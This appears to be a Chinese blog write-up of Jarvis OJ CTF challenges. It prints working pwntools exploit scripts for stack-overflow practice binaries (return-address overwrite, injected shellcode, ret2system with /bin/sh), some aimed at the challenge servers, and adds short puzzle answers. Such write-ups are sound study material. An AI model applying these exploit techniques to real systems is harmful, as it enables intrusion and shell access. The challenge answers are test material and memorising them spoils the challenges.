嗯。。随便看看吧

PWN

Tell Me Something

这是一道栈溢出的题。开了NX保护(不可执行shellcode)。不过它已经把符号表给我们了,我们要跳转到那个 good_game 函数上去。

首先我们判断栈的结构:

  __int64 v4; // [rsp+0h] [rbp-88h]

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);

v4 到rbp的大小已知是 0x88 ,在它的下面是返回地址,我们将返回地址填充为good_game的地址就能cat到flag了。 按照这个我们构造一下 payload:

from pwn import *

elf = ELF('./guestbook1')
aim_addr = elf.symbols['good_game']

# p = process('./guestbook1')
p = remote('pwn.jarvisoj.com', 9876)

payload = 'a' * 0x88 + p64(aim_addr)

p.recvuntil('message:\n')
p.sendline(payload)
print p.recvall()
p.close()

即可得到 flag。

[XMAN]level0

这道题和上一道差不多,不过有一处有点令人困惑的地方。

这是一道栈溢出,我们查看一下发生栈溢出时栈的结构:

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

此时到 rbp 距离为 0x80 。

于是我们填充返回地址为callsystem的地址就可以拿到shell了。

构造exp为:

from pwn import *
elf = ELF('level0.1')
sysaddr = elf.symbols['callsystem']
print hex(sysaddr)
payload = 'a' * 0x80 + 'a' * 8 + p64(sysaddr)

p = process('./level0.1')

p.recvuntil('World\n')

p.sendline(payload)

p.interactive()

[XMAN]level1

这道题只开了 RELRO,因此我们可以选择在栈上执行exp。

qrz@ubuntu:~/CTF/JarviusOS$ checksec level1
[*] '/home/qrz/CTF/JarviusOS/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

在网上找到了一份画的不错的思路:

图片来源:http://www.cnblogs.com/WangAoBo/p/7594173.html

我们已经知道了 buffer 的地址,那么我们控制栈,将返回地址填充为 buffer 的起始地址,接着将buffer 中的内容填充为 shellcode 不就可以了?这样我们就能写出exp :

# -*- coding: utf-8 -*-
__Author__ = '40m41h42t'

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

shellcode = asm(shellcraft.sh())

# p = process('./level1')
p = remote('pwn2.jarvisoj.com', 9877)
temp_addr = p.recvline()[12:22]
buff_addr = int(temp_addr, 16)

payload = shellcode + (0x88 + 0x4 - len(shellcode)) * 'a' + p32(buff_addr)
p.sendline(payload)
p.interactive()
p.close()

这个exp是我仿照网上的写的,自己写的还是太丑啊,多向大师傅们学习才是王道。

[XMAN]level2

首先这道题开了 RELAO 和 NX。我们在IDA中分析的时候能够看到 /bin/sh 字符串。

因此想到可以利用题目中的system函数来构造伪栈帧。

输入时的栈帧结构和上一题类似,我们可以构造这样的exp:

# -*- coding: utf-8 -*-
__Author__ = '40m41h42t'

from pwn import *

context(log_level = 'debug', arch = 'i386', os = 'linux')

elf = ELF('level2')
sysaddr = elf.symbols['system'] # system function address
sh_addr = elf.search('/bin/sh').next() # /bin/sh string address

payload = 'a' * (0x88 + 4) + p32(sysaddr) + p32(0xdeadbeef) + p32(sh_addr)
# 首先覆盖原来的栈帧,然后执行 system 函数,system 函数的参数是字符串,在那之前我们随意压入一个 ebp ,然后将字符串的地址传入即可。
# p = process('./level2')
p = remote('pwn2.jarvisoj.com', 9878)
p.sendline(payload)
p.interactive()
p.close()

[XMAN]level3

待续...

BASIC

取证

这款取证神器可以从内存 dump 中分析 TureCrypt 的密钥,Google 搜索可知该软件为 volatility 。

段子

参考链接

锟:0xEFBF

斤:0xBDEF

拷:0xBFBD

veryeasy

strings veryeasy.d944f0e9f8d5fe5b358930023da97d1a | grep CTF

关于USS Lab.

Ubiquitous System Security Lab

base64?

其实这是 base32

from base64 import *
b32decode('GUYDIMZVGQ2DMN3CGRQTONJXGM3TINLGG42DGMZXGM3TINLGGY4DGNBXGYZTGNLGGY3DGNBWMU3WI===').decode('hex')

标签: CTF, pwn

添加新评论